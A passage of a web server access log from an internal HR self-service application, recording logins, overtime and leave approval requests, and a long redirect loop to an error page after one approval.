"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8622729150887638" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:44:35 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8622729150887638 HTTP/1.1" 200 57512 192.168.11.126 - - [05/Dec/2025:18:44:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:44:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.126 - - [05/Dec/2025:18:44:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:44:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.126 - - [05/Dec/2025:18:44:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:44:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 192.168.11.126 - - [05/Dec/2025:18:44:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:44:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.40.60 - - [05/Dec/2025:18:50:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.60 - - [05/Dec/2025:18:50:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.60 - - [05/Dec/2025:18:50:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.60 - - [05/Dec/2025:18:50:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.60 - - [05/Dec/2025:18:50:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217 192.168.40.60 - - [05/Dec/2025:18:50:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10645 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10645 192.168.40.60 - - [05/Dec/2025:18:50:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12116 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12116 192.168.40.60 - - [05/Dec/2025:18:50:29 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4001 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:29 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4001 192.168.40.60 - - [05/Dec/2025:18:50:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10435 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10435 192.168.40.60 - - [05/Dec/2025:18:50:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16115 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16115 192.168.40.60 - - [05/Dec/2025:18:50:43 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:43 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132754%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132754&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132754%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132754&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:47 +0800] "GET 